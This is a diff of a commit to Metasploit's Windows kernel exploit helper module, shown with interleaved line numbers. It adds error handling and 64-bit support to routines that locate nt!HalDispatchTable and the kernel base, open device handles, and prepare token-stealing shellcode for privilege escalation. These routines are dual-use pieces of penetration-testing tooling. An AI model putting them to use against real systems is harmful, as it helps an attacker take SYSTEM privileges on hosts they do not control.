2
2
3
3
module Msf
4
4
module Exploit ::Local ::WindowsKernel
5
+ include Msf ::PostMixin
6
+ include Msf ::Post ::Windows ::Error
7
+
5
8
#
6
9
# Find the address of nt!HalDispatchTable.
7
10
#
@@ -10,25 +13,29 @@ module Exploit::Local::WindowsKernel
10
13
#
11
14
def find_haldispatchtable
12
15
kernel_info = find_sys_base ( nil )
16
+ if kernel_info . nil?
17
+ print_error ( "Failed to find the address of the Windows kernel" )
18
+ return nil
19
+ end
13
20
vprint_status ( "Kernel Base Address: 0x#{ kernel_info [ 0 ] . to_s ( 16 ) } " )
14
21
15
22
h_kernel = session . railgun . kernel32 . LoadLibraryExA ( kernel_info [ 1 ] , 0 , 1 )
16
23
if h_kernel [ 'return' ] == 0
17
- print_error ( "Failed to load #{ kernel_info [ 1 ] } (error: #{ h_kernel [ 'GetLastError' ] } )" )
24
+ print_error ( "Failed to load #{ kernel_info [ 1 ] } (error: #{ h_kernel [ 'GetLastError' ] } #{ h_kernel [ 'ErrorMessage' ] } )" )
18
25
return nil
19
26
end
20
27
h_kernel = h_kernel [ 'return' ]
21
28
22
29
hal_dispatch_table = session . railgun . kernel32 . GetProcAddress ( h_kernel , 'HalDispatchTable' )
23
30
if hal_dispatch_table [ 'return' ] == 0
24
- print_error ( "Failed to retrieve the address of nt!HalDispatchTable (error: #{ hal_dispatch_table [ 'GetLastError' ] } )" )
31
+ print_error ( "Failed to retrieve the address of nt!HalDispatchTable (error: #{ hal_dispatch_table [ 'GetLastError' ] } #{ hal_dispatch_table [ 'ErrorMessage' ] } )" )
25
32
return nil
26
33
end
27
34
hal_dispatch_table = hal_dispatch_table [ 'return' ]
28
35
29
36
hal_dispatch_table -= h_kernel
30
37
hal_dispatch_table += kernel_info [ 0 ]
31
- vprint_status ( "HalDisPatchTable Address: 0x#{ hal_dispatch_table . to_s ( 16 ) } " )
38
+ vprint_status ( "HalDispatchTable Address: 0x#{ hal_dispatch_table . to_s ( 16 ) } " )
32
39
hal_dispatch_table
33
40
end
34
41
@@ -41,34 +48,31 @@ def find_haldispatchtable
41
48
# @return [nil] If the name specified could not be found.
42
49
#
43
50
def find_sys_base ( drvname )
44
- unless session . railgun . dlls . keys . include? ( 'psapi' )
45
- session . railgun . add_dll ( 'psapi' )
46
- session . railgun . add_function (
47
- 'psapi' ,
48
- 'EnumDeviceDrivers' ,
49
- 'BOOL' ,
50
- [
51
- %w( PBLOB lpImageBase out ) ,
52
- %w( DWORD cb in ) ,
53
- %w( PDWORD lpcbNeeded out )
54
- ] )
55
- session . railgun . add_function (
56
- 'psapi' ,
57
- 'GetDeviceDriverBaseNameA' ,
58
- 'DWORD' ,
59
- [
60
- %w( LPVOID ImageBase in ) ,
61
- %w( PBLOB lpBaseName out ) ,
62
- %w( DWORD nSize in )
63
- ] )
51
+ if sysinfo [ 'Architecture' ] =~ /(x86|wow64)/i
52
+ ptr_size = 4
53
+ else
54
+ ptr_size = 8
64
55
end
65
56
66
- results = session . railgun . psapi . EnumDeviceDrivers ( 4096 , 1024 , 4 )
67
- addresses = results [ 'lpImageBase' ] [ 0 ..results [ 'lpcbNeeded' ] - 1 ] . unpack ( 'V*' )
57
+ results = session . railgun . psapi . EnumDeviceDrivers ( 0 , 0 , ptr_size )
58
+ unless results [ 'return' ]
59
+ print_error ( "EnumDeviceDrivers failed (error: #{ results [ 'GetLastError' ] } #{ results [ 'ErrorMessage' ] } )" )
60
+ return nil
61
+ end
62
+ results = session . railgun . psapi . EnumDeviceDrivers ( results [ 'lpcbNeeded' ] , results [ 'lpcbNeeded' ] , ptr_size )
63
+ unless results [ 'return' ]
64
+ print_error ( "EnumDeviceDrivers failed (error: #{ results [ 'GetLastError' ] } #{ results [ 'ErrorMessage' ] } )" )
65
+ return nil
66
+ end
67
+ addresses = results [ 'lpImageBase' ] [ 0 ..results [ 'lpcbNeeded' ] - 1 ] . unpack ( ( ptr_size == 4 ? 'V' : 'Q' ) + '*' )
68
68
69
69
addresses . each do |address |
70
70
results = session . railgun . psapi . GetDeviceDriverBaseNameA ( address , 48 , 48 )
71
- current_drvname = results [ 'lpBaseName' ] [ 0 ..results [ 'return' ] - 1 ]
71
+ if results [ 'return' ] == 0
72
+ print_error ( "GetDeviceDriverBaseNameA failed (error: #{ results [ 'GetLastError' ] } #{ results [ 'ErrorMessage' ] } )" )
73
+ return nil
74
+ end
75
+ current_drvname = results [ 'lpBaseName' ] [ 0 , results [ 'return' ] ]
72
76
if drvname . nil?
73
77
if current_drvname . downcase . include? ( 'krnl' )
74
78
return [ address , current_drvname ]
@@ -94,16 +98,16 @@ def find_sys_base(drvname)
94
98
#
95
99
def open_device ( file_name , desired_access , share_mode , creation_disposition , flags_and_attributes = 0 )
96
100
handle = session . railgun . kernel32 . CreateFileA ( file_name , desired_access , share_mode , nil , creation_disposition , flags_and_attributes , nil )
97
- if handle [ 'return' ] == 0xffffffff
98
- print_error ( "Failed to open the #{ file_name } device (error: #{ handle [ 'GetLastError' ] } )" )
101
+ if handle [ 'return' ] == INVALID_HANDLE_VALUE
102
+ print_error ( "Failed to open the #{ file_name } device (error: #{ handle [ 'GetLastError' ] } #{ handle [ 'ErrorMessage' ] } )" )
99
103
return nil
100
104
end
101
105
handle [ 'return' ]
102
106
end
103
107
104
108
#
105
- # Generate x86 token stealing shellcode suitable for use when overwriting the
106
- # pointer at nt!HalDispatchTable+0x4 . The shellcode preserves the edx and ebx
109
+ # Generate token stealing shellcode suitable for use when overwriting the
110
+ # HaliQuerySystemInformation pointer . The shellcode preserves the edx and ebx
107
111
# registers.
108
112
#
109
113
# @param target [Hash] The target information containing the offsets to _KPROCESS,
0 commit comments